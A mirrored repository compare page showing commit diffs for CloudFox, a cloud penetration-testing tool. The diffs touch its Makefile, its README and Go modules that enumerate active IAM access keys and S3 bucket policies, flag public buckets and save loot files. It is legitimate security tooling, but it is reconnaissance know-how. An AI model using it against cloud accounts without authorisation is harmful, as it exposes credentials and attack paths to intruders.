mirror of
https://github.com/BishopFox/cloudfox.git
synced 2026-11-07 17:05:53 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
599ddc247d | ||
|
|
d4ae745e8e | ||
|
|
dc0396ff33 | ||
|
|
9bedfcb4de | ||
|
|
afbcab6652 | ||
|
|
3ec90f51d2 | ||
|
|
1343060c4b | ||
|
|
bbc26e0a23 | ||
|
|
8518b7678d | ||
|
|
07cd08ccc2 | ||
|
|
4ffc02c285 | ||
|
|
f61dd2bfb1 | ||
|
|
5365206a49 | ||
|
|
fc390b763e | ||
|
|
a2140f1ef1 | ||
|
|
48f92dd4f8 | ||
|
|
139e4d391f | ||
|
|
6251b76a12 | ||
|
|
48c4928767 | ||
|
|
7578d4299d | ||
|
|
b08ca87e6b | ||
|
|
5f029319a6 | ||
|
|
42a32bb8e3 | ||
|
|
c397f858db | ||
|
|
980e28bc9d | ||
|
|
9b752ce4e6 | ||
|
|
c102ea8d17 | ||
|
|
ba04dade7a | ||
|
|
61cb727a64 | ||
|
|
25fb66d6a1 | ||
|
|
82adab9863 | ||
|
|
02026c7a78 | ||
|
|
c11ebf9a07 | ||
|
|
6c8936cfe4 | ||
|
|
fca0c4da14 | ||
|
|
2c5fec49c3 | ||
|
|
a9b95d9142 | ||
|
|
0a74adea9a | ||
|
|
adb9bcd55a | ||
|
|
03177e8726 | ||
|
|
1fb9f4c3e0 | ||
|
|
3c6c59ec4b | ||
|
|
3f8b828a6c | ||
|
|
b8bf12f1c4 | ||
|
|
690b3c8c77 | ||
|
|
845b69e9a0 | ||
|
|
fc7a57129f | ||
|
|
f6ec6a12f7 | ||
|
|
56075588d5 | ||
|
|
7b51d9da96 | ||
|
|
a0a64c579c | ||
|
|
2b294e5845 | ||
|
|
d5956cebb0 | ||
|
|
9581425231 | ||
|
|
ce6c3f76fa | ||
|
|
497c7940d2 | ||
|
|
b29e4ea6b3 | ||
|
|
2756cd0f45 | ||
|
|
c0597764a9 | ||
|
|
ef1b37cef7 | ||
|
|
8e9bd42a1e | ||
|
|
8b2f13ca88 | ||
|
|
8722782eae | ||
|
|
0397b5df5f | ||
|
|
5f7596b497 | ||
|
|
0276ce25a4 | ||
|
|
7490d1aaa1 | ||
|
|
8ef71a6388 | ||
|
|
365286665c | ||
|
|
537d064c6b | ||
|
|
766fe55484 | ||
|
|
51f0b65087 | ||
|
|
186cd04405 | ||
|
|
56247f40d4 | ||
|
|
bc91da000c | ||
|
|
02db8a4fe8 | ||
|
|
dc7c8c6f68 | ||
|
|
1aca8cf4cf | ||
|
|
8550561cd7 | ||
|
|
7f413fc9d1 | ||
|
|
b3620ca281 | ||
|
|
e6b5604a08 | ||
|
|
47c11840d3 | ||
|
|
77c7edfc82 | ||
|
|
cecebb82cb | ||
|
|
f2f93779ca | ||
|
|
59157b40d1 | ||
|
|
07c4ddc755 | ||
|
|
05481ae748 | ||
|
|
49eada30b6 | ||
|
|
bb1313c5c8 | ||
|
|
fc736f4946 | ||
|
|
d02b5e8f0e | ||
|
|
41be2192d3 | ||
|
|
96587ff450 | ||
|
|
2e65bb319e | ||
|
|
fc3379e7ac | ||
|
|
2b686e9a3b | ||
|
|
7300fc9eb3 | ||
|
|
303341c634 | ||
|
|
31027ba4cb | ||
|
|
40933e2f81 | ||
|
|
a8b73ef60d | ||
|
|
b9f9a4fdab | ||
|
|
3238ac866a | ||
|
|
2563ebbb72 | ||
|
|
512602079b | ||
|
|
152f7eaa8d | ||
|
|
6aae684307 | ||
|
|
dbc9b1c2d3 | ||
|
|
7c55958f54 | ||
|
|
ac21f3a8f0 | ||
|
|
f207a7c095 | ||
|
|
cd66bbf52a | ||
|
|
dc7560c648 | ||
|
|
466c8fca53 | ||
|
|
2e8a454d04 | ||
|
|
99b798b556 | ||
|
|
78ff6651be | ||
|
|
f1670f67da | ||
|
|
ba57a02a20 | ||
|
|
6599ad2e83 | ||
|
|
925014f001 | ||
|
|
7058d458e0 | ||
|
|
8b5f79dc82 | ||
|
|
bb1f3388f3 | ||
|
|
4081025480 | ||
|
|
b64526f04f | ||
|
|
78cdf2ef91 | ||
|
|
3d054eadee | ||
|
|
767d2e6bca | ||
|
|
7ec51b1b96 | ||
|
|
10742b2f8b | ||
|
|
abeaa25922 | ||
|
|
91aa229679 | ||
|
|
c265e5cb86 | ||
|
|
f514b80f38 | ||
|
|
a0c8e4b2c4 | ||
|
|
1c64fa50b9 | ||
|
|
1ffd763a85 | ||
|
|
5e87e968fd | ||
|
|
2b04fbb39a | ||
|
|
6e9aa37d4a | ||
|
|
0ceaa0a767 | ||
|
|
01267d55e9 | ||
|
|
a09b549417 | ||
|
|
ca66af7e61 |
No files matched your search
@@ -15,10 +15,10 @@ jobs:
|
||||
|
||||
steps:
|
||||
|
||||
- name: Go 1.18
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: ^1.18
|
||||
go-version: ^1.20
|
||||
id: go
|
||||
|
||||
- id: install-secret-key
|
||||
|
||||
+4
-1
@@ -66,4 +66,7 @@ output/*
|
||||
cloudfox
|
||||
*.log
|
||||
*.bak
|
||||
table_output.txt
|
||||
*.txt
|
||||
*.json
|
||||
*.csv
|
||||
*.log
|
||||
@@ -1,20 +1,20 @@
|
||||
run:
|
||||
go run main.go
|
||||
/home/marauder/Downloads/go/bin/go run main.go
|
||||
|
||||
windows:
|
||||
GOOS=windows GOARCH=386 go build
|
||||
GOOS=windows GOARCH=386 /home/marauder/Downloads/go/bin/go build
|
||||
sha1sum cloudfox.exe > sha1sum-win.txt
|
||||
zip cloudfox-win.zip cloudfox.exe sha1sum-win.txt
|
||||
rm cloudfox.exe sha1sum-win.txt
|
||||
|
||||
linux:
|
||||
GOOS=linux GOARCH=386 go build
|
||||
GOOS=linux GOARCH=386 /home/marauder/Downloads/go/bin/go build
|
||||
sha1sum cloudfox > sha1sum-linux.txt
|
||||
zip cloudfox-linux.zip cloudfox sha1sum-linux.txt
|
||||
rm cloudfox sha1sum-linux.txt
|
||||
|
||||
macos:
|
||||
GOOS=darwin GOARCH=amd64 go build
|
||||
GOOS=darwin GOARCH=amd64 /home/marauder/Downloads/go/bin/go build
|
||||
sha1sum cloudfox > sha1sum-mac.txt
|
||||
zip cloudfox-mac.zip cloudfox sha1sum-mac.txt
|
||||
rm cloudfox sha1sum-mac.txt
|
||||
@@ -25,21 +25,21 @@ all: windows linux macos
|
||||
release: clean
|
||||
mkdir -p ./cloudfox
|
||||
mkdir -p ./cloudfox
|
||||
GOOS=windows GOARCH=amd64 go build -o ./cloudfox/cloudfox.exe .
|
||||
GOOS=windows GOARCH=amd64 /home/marauder/Downloads/go/bin/go build -o ./cloudfox/cloudfox.exe .
|
||||
zip ./cloudfox/cloudfox-windows-amd64.zip ./cloudfox/cloudfox.exe
|
||||
rm -rf ./cloudfox/cloudfox.exe
|
||||
|
||||
GOOS=linux GOARCH=amd64 go build -o ./cloudfox/cloudfox .
|
||||
GOOS=linux GOARCH=amd64 /home/marauder/Downloads/go/bin/go build -o ./cloudfox/cloudfox .
|
||||
zip ./cloudfox/cloudfox-linux-amd64.zip ./cloudfox/cloudfox .
|
||||
rm -rf ./cloudfox/cloudfox
|
||||
|
||||
GOOS=darwin GOARCH=amd64 go build -o ./cloudfox/cloudfox .
|
||||
GOOS=darwin GOARCH=amd64 /home/marauder/Downloads/go/bin/go build -o ./cloudfox/cloudfox .
|
||||
zip ./cloudfox/cloudfox-macos-amd64.zip ./cloudfox/cloudfox
|
||||
rm -rf ./cloudfox/cloudfox
|
||||
|
||||
GOOS=darwin GOARCH=arm64 go build -o ./cloudfox/cloudfox .
|
||||
GOOS=darwin GOARCH=arm64 /home/marauder/Downloads/go/bin/go build -o ./cloudfox/cloudfox .
|
||||
zip ./cloudfox/cloudfox-macos-arm64.zip ./cloudfox/cloudfox
|
||||
rm -rf ./cloudfox/cloudfox
|
||||
|
||||
clean:
|
||||
rm -rf ./cloudfox
|
||||
rm -rf ./cloudfox
|
||||
@@ -39,9 +39,9 @@ For the full documentation please refer to our [wiki](https://github.com/BishopF
|
||||
|
||||
| Provider| CloudFox Commands |
|
||||
| - | - |
|
||||
| AWS | 23 |
|
||||
| AWS | 30 |
|
||||
| Azure | 4 |
|
||||
| GCP | Support Planned |
|
||||
| GCP | 4 |
|
||||
| Kubernetes | Support Planned |
|
||||
|
||||
|
||||
@@ -79,7 +79,12 @@ Additional policy notes (as of 09/2022):
|
||||
| `arn:aws:iam::aws:policy/AdministratorAccess` | This will work just fine with CloudFox, but if you were handed this level of access as a penetration tester, that should probably be a finding in itself :) |
|
||||
|
||||
### Azure
|
||||
* Viewer or similar permissions applied.
|
||||
* Viewer or similar permissions applied.
|
||||
|
||||
### GCP
|
||||
* `gcloud` CLI installed
|
||||
* Proper SDK credentials available (`gcloud auth application-default login`)
|
||||
* Viewer or similar permissions applied.
|
||||
|
||||
# AWS Commands
|
||||
| Provider | Command Name | Description
|
||||
@@ -99,7 +104,8 @@ Additional policy notes (as of 09/2022):
|
||||
| AWS | [instances](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#instances) | Enumerates useful information for EC2 Instances in all regions like name, public/private IPs, and instance profiles. Generates loot files you can feed to nmap and other tools for service enumeration. |
|
||||
| AWS | [inventory](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#inventory) | Gain a rough understanding of size of the account and preferred regions. |
|
||||
| AWS | [lambda](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#lambda) | Lists the lambda functions in the account, including which one's have admin roles attached. Also gives you handy commands for downloading each function. |
|
||||
| AWS | [outbound-assumed-roles](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#outbound-assumed-roles) | List the roles that have been assumed by principals in this account. This is an excellent way to find outbound attack paths that lead into other accounts. |
|
||||
| AWS | [network-ports](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#network-ports) | Enumerates AWS services that are potentially exposing a network service. The security groups and the network ACLs are parsed for each resource to determine what ports are potentially exposed. |
|
||||
| AWS | [outbound-assumed-roles](#outbound-assumed-roles) | List the roles that have been assumed by principals in this account. This is an excellent way to find outbound attack paths that lead into other accounts. |
|
||||
| AWS | [permissions](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#permissions) | Enumerates IAM permissions associated with all users and roles. Grep this output to figure out what permissions a particular principal has rather than logging into the AWS console and painstakingly expanding each policy attached to the principal you are investigating. |
|
||||
| AWS | [principals](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#principals) | Enumerates IAM users and Roles so you have the data at your fingertips. |
|
||||
| AWS | [pmapper](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#pmapper) | Looks for pmapper data stored on the local filesystem, [in the locations defined here](https://github.com/nccgroup/PMapper/wiki/Frequently-Asked-Questions#where-does-pmapper-store-its-data). If pmapper data has been found (you already ran `pmapper graph create`), then this command will use this data to build a graph in cloudfox memory let you know who can privesc to admin.
|
||||
@@ -108,6 +114,8 @@ Additional policy notes (as of 09/2022):
|
||||
| AWS | [role-trusts](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#role-trusts) | Enumerates IAM role trust policies so you can look for overly permissive role trusts or find roles that trust a specific service. |
|
||||
| AWS | [route53](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#route53) | Enumerate all records from all route53 managed zones. Use this for application and service enumeration. |
|
||||
| AWS | [secrets](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#secrets) | List secrets from SecretsManager and SSM. Look for interesting secrets in the list and then see who has access to them using use `cloudfox iam-simulator` and/or `pmapper`. |
|
||||
| AWS | [sns](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#sns) | This command enumerates all of the sns topics and gives you the commands to subscribe to a topic or send messages to a topic (if you have the permissions needed). This command only deals with topics, and not the SMS functionality. This command also attempts to summarize topic resource policies if they exist.|
|
||||
| AWS | [sqs](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#sqs) | This command enumerates all of the sqs queues and gives you the commands to receive messages from a queue and send messages to a queue (if you have the permissions needed). This command also attempts to summarize queue resource policies if they exist.|
|
||||
| AWS | [tags](https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#tags) | List all resources with tags, and all of the tags. This can be used similar to inventory as another method to identify what types of resources exist in an account. |
|
||||
|
||||
|
||||
@@ -119,6 +127,14 @@ Additional policy notes (as of 09/2022):
|
||||
| Azure | [rbac](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#rbac) | Lists Azure RBAC role assignments at subscription or tenant level |
|
||||
| Azure | [storage](https://github.com/BishopFox/cloudfox/wiki/Azure-Commands#storage) | The storage command is still under development. Currently it only displays limited data about the storage accounts |
|
||||
|
||||
# GCP Commands
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| GCP | [access-tokens](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#access-tokens) | Displays handy information about existing GCP credentials on your local machine |
|
||||
| GCP | [hierarchy](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#hierarchy) Displays information on the projects available to your current Gcloud SDK credentials. This is useful to provide situation awareness on what organizations, folders and projects to use with the other sub commands.|
|
||||
| GCP | [inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#inventory) Gain a rough understanding of size of the available organizations |
|
||||
| GCP | [buckets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#buckets) Lists the buckets in the available organizations and gives you handy commands for inspecting them further. |
|
||||
|
||||
# Authors
|
||||
* [Carlos Vendramini](https://github.com/carlosvendramini-bf)
|
||||
* [Seth Art (@sethsec](https://twitter.com/sethsec))
|
||||
@@ -126,8 +142,6 @@ Additional policy notes (as of 09/2022):
|
||||
# Contributing
|
||||
[Wiki - How to Contribute](https://github.com/BishopFox/cloudfox/wiki#how-to-contribute)
|
||||
|
||||
# TODO
|
||||
* AWS - Add support for GovCloud and China regions
|
||||
|
||||
# FAQ
|
||||
|
||||
|
||||
+39
-45
@@ -1,22 +1,21 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/iam"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AccessKeysModule struct {
|
||||
// General configuration data
|
||||
IAMClient *iam.Client
|
||||
IAMClient sdk.AWSIAMClientInterface
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSProfile string
|
||||
OutputFormat string
|
||||
@@ -79,12 +78,27 @@ func (m *AccessKeysModule) PrintAccessKeys(filter string, outputFormat string, o
|
||||
fmt.Printf("[%s][%s] Only active access keys are shown.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
//fmt.Printf("[%s][%s] Preparing output.\n\n")
|
||||
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
|
||||
m.writeLoot(m.output.FilePath, verbosity)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
//m.writeLoot(m.output.FilePath, verbosity)
|
||||
fmt.Printf("[%s][%s] %s access keys found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No access keys found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
@@ -116,50 +130,30 @@ func (m *AccessKeysModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
|
||||
func (m *AccessKeysModule) getAccessKeysForAllUsers() {
|
||||
|
||||
// The "PaginationControl" value remains true until all data is received (default is 100 results per page).
|
||||
// "" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationMarker *string
|
||||
PaginationControl := true
|
||||
ListUsers, err := sdk.CachedIamListUsers(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
|
||||
for PaginationControl {
|
||||
// added this to break out if there no users
|
||||
if len(ListUsers) != 0 {
|
||||
for _, user := range ListUsers {
|
||||
|
||||
IAMQuery, err := m.IAMClient.ListUsers(context.TODO(), &iam.ListUsersInput{Marker: PaginationMarker})
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
results, err := sdk.CachedIamListAccessKeys(m.IAMClient, aws.ToString(m.Caller.Account), aws.ToString(user.UserName))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
|
||||
// added this to break out if there no users
|
||||
if len(IAMQuery.Users) == 0 {
|
||||
break
|
||||
}
|
||||
// This for loop extracts relevant information for each access key and adds to output array
|
||||
for _, key := range results {
|
||||
|
||||
// This for loop iterates through all users.
|
||||
for PaginationControl {
|
||||
PaginationMarker = nil
|
||||
for _, user := range IAMQuery.Users {
|
||||
|
||||
results, err := m.IAMClient.ListAccessKeys(context.TODO(), &iam.ListAccessKeysInput{UserName: user.UserName, Marker: PaginationMarker})
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
if key.Status == "Active" {
|
||||
m.AnalyzedUsers = append(m.AnalyzedUsers, UserKeys{Username: *user.UserName, Key: *key.AccessKeyId})
|
||||
}
|
||||
|
||||
// This for loop extracts relevant information for each access key and adds to output array
|
||||
for _, key := range results.AccessKeyMetadata {
|
||||
|
||||
if key.Status == "Active" {
|
||||
m.AnalyzedUsers = append(m.AnalyzedUsers, UserKeys{Username: *user.UserName, Key: *key.AccessKeyId})
|
||||
}
|
||||
}
|
||||
PaginationControl = results.IsTruncated
|
||||
PaginationMarker = results.Marker
|
||||
}
|
||||
}
|
||||
|
||||
PaginationControl = IAMQuery.IsTruncated
|
||||
PaginationMarker = IAMQuery.Marker
|
||||
}
|
||||
}
|
||||
+136
-43
@@ -1,7 +1,6 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -10,29 +9,24 @@ import (
|
||||
"sync"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/internal/aws/policy"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/s3"
|
||||
"github.com/aws/aws-sdk-go-v2/service/s3/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type S3ListBucketsAPI interface {
|
||||
ListBuckets(ctx context.Context, params *s3.ListBucketsInput, optFns ...func(*s3.Options)) (*s3.ListBucketsOutput, error)
|
||||
}
|
||||
type BucketsModule struct {
|
||||
// General configuration data
|
||||
S3Client *s3.Client
|
||||
//BucketsS3Client CloudFoxS3Client
|
||||
S3Client sdk.AWSS3ClientInterface
|
||||
AWSRegions []string
|
||||
AWSProfile string
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
|
||||
// This interface is used for unit testing
|
||||
S3ClientListBucketsInterface S3ListBucketsAPI
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
OutputFormat string
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
|
||||
// Main module data
|
||||
@@ -44,9 +38,19 @@ type BucketsModule struct {
|
||||
}
|
||||
|
||||
type Bucket struct {
|
||||
AWSService string
|
||||
Region string
|
||||
Name string
|
||||
Arn string
|
||||
AWSService string
|
||||
Region string
|
||||
Name string
|
||||
Policy policy.Policy
|
||||
PolicyJSON string
|
||||
Access string
|
||||
IsPublic string
|
||||
IsConditionallyPublic string
|
||||
Statement string
|
||||
Actions string
|
||||
ConditionText string
|
||||
ResourcePolicySummary string
|
||||
}
|
||||
|
||||
func (m *BucketsModule) PrintBuckets(outputFormat string, outputDirectory string, verbosity int) {
|
||||
@@ -61,6 +65,7 @@ func (m *BucketsModule) PrintBuckets(outputFormat string, outputDirectory string
|
||||
if m.AWSProfile == "" {
|
||||
m.AWSProfile = internal.BuildAWSPath(m.Caller)
|
||||
}
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating buckets for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
|
||||
@@ -94,27 +99,49 @@ func (m *BucketsModule) PrintBuckets(outputFormat string, outputDirectory string
|
||||
<-receiverDone
|
||||
|
||||
// add - if struct is not empty do this. otherwise, dont write anything.
|
||||
m.output.Headers = []string{"Service", "Region", "Name"}
|
||||
m.output.Headers = []string{
|
||||
"Name",
|
||||
"Region",
|
||||
"Public?",
|
||||
"Resource Policy Summary",
|
||||
}
|
||||
|
||||
// Table rows
|
||||
for i := range m.Buckets {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Buckets[i].AWSService,
|
||||
m.Buckets[i].Region,
|
||||
m.Buckets[i].Name,
|
||||
m.Buckets[i].Region,
|
||||
m.Buckets[i].IsPublic,
|
||||
m.Buckets[i].ResourcePolicySummary,
|
||||
},
|
||||
)
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
////m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
m.writeLoot(o.Table.DirectoryName, verbosity, m.AWSProfile)
|
||||
|
||||
fmt.Printf("[%s][%s] %s buckets found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
fmt.Printf("[%s][%s] Bucket policies written to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
|
||||
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No buckets found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
@@ -199,39 +226,105 @@ func (m *BucketsModule) createBucketsRows(verbosity int, wg *sync.WaitGroup, sem
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
var r string = "Global"
|
||||
var region string = "Global"
|
||||
var name string
|
||||
ListBuckets, err := m.listBuckets()
|
||||
|
||||
ListBuckets, err := sdk.CachedListBuckets(m.S3Client, aws.ToString(m.Caller.Account))
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, bucket := range ListBuckets {
|
||||
name = aws.ToString(bucket.Name)
|
||||
// Send Bucket object through the channel to the receiver
|
||||
dataReceiver <- Bucket{
|
||||
for _, b := range ListBuckets {
|
||||
bucket := &Bucket{
|
||||
Name: aws.ToString(b.Name),
|
||||
AWSService: "S3",
|
||||
Name: name,
|
||||
Region: r,
|
||||
}
|
||||
region, err = sdk.CachedGetBucketLocation(m.S3Client, aws.ToString(m.Caller.Account), aws.ToString(b.Name))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
}
|
||||
bucket.Region = region
|
||||
|
||||
policyJSON, err := sdk.CachedGetBucketPolicy(m.S3Client, aws.ToString(m.Caller.Account), region, aws.ToString(b.Name))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
} else {
|
||||
bucket.PolicyJSON = policyJSON
|
||||
}
|
||||
|
||||
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
|
||||
if err != nil {
|
||||
m.modLog.Error(fmt.Sprintf("parsing bucket access policy (%s) as JSON: %s", name, err))
|
||||
} else {
|
||||
bucket.Policy = policy
|
||||
}
|
||||
|
||||
bucket.IsPublic = "No"
|
||||
if !bucket.Policy.IsEmpty() {
|
||||
m.analyseBucketPolicy(bucket, dataReceiver)
|
||||
} else {
|
||||
bucket.Access = "No resource policy"
|
||||
dataReceiver <- *bucket
|
||||
}
|
||||
|
||||
// Send Bucket object through the channel to the receiver
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *BucketsModule) listBuckets() ([]types.Bucket, error) {
|
||||
|
||||
var buckets []types.Bucket
|
||||
ListBuckets, err := m.S3ClientListBucketsInterface.ListBuckets(
|
||||
context.TODO(),
|
||||
&s3.ListBucketsInput{},
|
||||
)
|
||||
func (m *BucketsModule) isPublicAccessBlocked(bucketName string, r string) bool {
|
||||
publicAccessBlock, err := sdk.CachedGetPublicAccessBlock(m.S3Client, aws.ToString(m.Caller.Account), r, bucketName)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
return buckets, err
|
||||
return false
|
||||
}
|
||||
return publicAccessBlock.IgnorePublicAcls
|
||||
|
||||
buckets = append(buckets, ListBuckets.Buckets...)
|
||||
return buckets, nil
|
||||
}
|
||||
|
||||
func (m *BucketsModule) analyseBucketPolicy(bucket *Bucket, dataReceiver chan Bucket) {
|
||||
m.storeAccessPolicy(bucket)
|
||||
|
||||
if bucket.Policy.IsPublic() && !bucket.Policy.IsConditionallyPublic() && !m.isPublicAccessBlocked(bucket.Name, bucket.Region) {
|
||||
bucket.IsPublic = "YES"
|
||||
}
|
||||
|
||||
for i, statement := range bucket.Policy.Statement {
|
||||
var prefix string = ""
|
||||
if len(bucket.Policy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
bucket.ResourcePolicySummary = bucket.ResourcePolicySummary + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
} else {
|
||||
bucket.ResourcePolicySummary = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
bucket.ResourcePolicySummary = strings.TrimSuffix(bucket.ResourcePolicySummary, "\n")
|
||||
|
||||
}
|
||||
dataReceiver <- *bucket
|
||||
|
||||
}
|
||||
|
||||
func (m *BucketsModule) storeAccessPolicy(bucket *Bucket) {
|
||||
f := filepath.Join(m.getLootDir(), fmt.Sprintf("%s.json", bucket.Name))
|
||||
|
||||
if err := m.storeFile(f, bucket.PolicyJSON); err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BucketsModule) getLootDir() string {
|
||||
return filepath.Join(m.output.FilePath, "loot", "bucket-policies")
|
||||
}
|
||||
|
||||
func (m *BucketsModule) storeFile(filename string, policy string) error {
|
||||
err := os.MkdirAll(filepath.Dir(filename), 0750)
